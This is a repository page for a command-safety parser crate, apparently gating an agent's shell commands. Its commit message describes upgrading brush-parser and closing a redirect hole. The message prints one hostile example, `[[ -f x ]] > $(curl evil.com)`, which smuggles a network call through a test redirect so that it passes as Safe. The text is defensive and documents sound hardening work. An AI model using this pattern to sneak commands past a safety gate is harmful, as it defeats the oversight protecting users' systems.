agent-joule/crates/shell_command_parser
Repository files (latest commit first)
Filename Latest commit message Latest commit date
David Charlot 02add196d5
Some checks failed
congrats.yml / build: adopt brush-parser 0.4 and close an extended-test redirect hole (push) Failing after 0s
deploy_docs.yml / build: adopt brush-parser 0.4 and close an extended-test redirect hole (push) Failing after 0s
deploy_nightly_docs.yml / build: adopt brush-parser 0.4 and close an extended-test redirect hole (push) Failing after 0s
extension_bump.yml / build: adopt brush-parser 0.4 and close an extended-test redirect hole (push) Failing after 0s
run_tests / orchestrate (push) Has been cancelled
run_tests / check_style (push) Has been cancelled
run_tests / clippy_windows (push) Has been cancelled
run_tests / clippy_linux (push) Has been cancelled
run_tests / clippy_mac (push) Has been cancelled
run_tests / clippy_mac_x86_64 (push) Has been cancelled
run_tests / run_tests_windows (push) Has been cancelled
run_tests / run_tests_linux (push) Has been cancelled
run_tests / run_tests_mac (push) Has been cancelled
run_tests / miri_scheduler (push) Has been cancelled
run_tests / doctests (push) Has been cancelled
run_tests / check_workspace_binaries (push) Has been cancelled
run_tests / build_visual_tests_binary (push) Has been cancelled
run_tests / check_wasm (push) Has been cancelled
run_tests / check_dependencies (push) Has been cancelled
run_tests / check_docs (push) Has been cancelled
run_tests / check_licenses (push) Has been cancelled
run_tests / check_scripts (push) Has been cancelled
run_tests / check_postgres_and_protobuf_migrations (push) Has been cancelled
run_tests / tests_pass (push) Has been cancelled
build: adopt brush-parser 0.4 and close an extended-test redirect hole
0.4 reshapes the AST in four ways that touch the command-safety gate:
`Parser::new` drops its `SourceInfo` argument, `WordPiece::TildePrefix(String)`
becomes `TildeExpansion(TildeExpr)`, `Command::ExtendedTest` gains a redirect
list, and `CompoundCommand` gains a `Coprocess` variant.

The last two are security decisions, not mechanical updates. `[[ ... ]]` could
not carry redirects in 0.3, so binding the new field to `_` compiles cleanly and
passes every pre-existing test while letting `[[ -f x ]] > $(curl evil.com)`
validate as Safe. Redirects are now folded into the validation the same way the
Compound arm does it, and because a bare test contributes no command name for a
normalized redirect to attach to, extraction fails closed instead of reporting
the test as allowlistable.

Coprocess bodies run real commands, so both the body and the (word-valued,
therefore substitution-bearing) name are validated and extracted rather than
defaulted to Safe. Every TildeExpr variant is pure path expansion, so it stays
Safe; normalization slices the original source instead of re-deriving syntax for
each of the six forms.

Six tests cover the new constructs; the redirect one was confirmed to fail
against the mechanical fix.

Co-Authored-By: Claude Opus 4.8 <[email protected]>
2026-07-19 11:08:36 -04:00
..
src build: adopt brush-parser 0.4 and close an extended-test redirect hole 2026-07-19 11:08:36 -04:00
Cargo.toml Baseline: hard fork of zed@e2e7a67 2026-05-30 08:20:23 -04:00
LICENSE-GPL Baseline: hard fork of zed@e2e7a67 2026-05-30 08:20:23 -04:00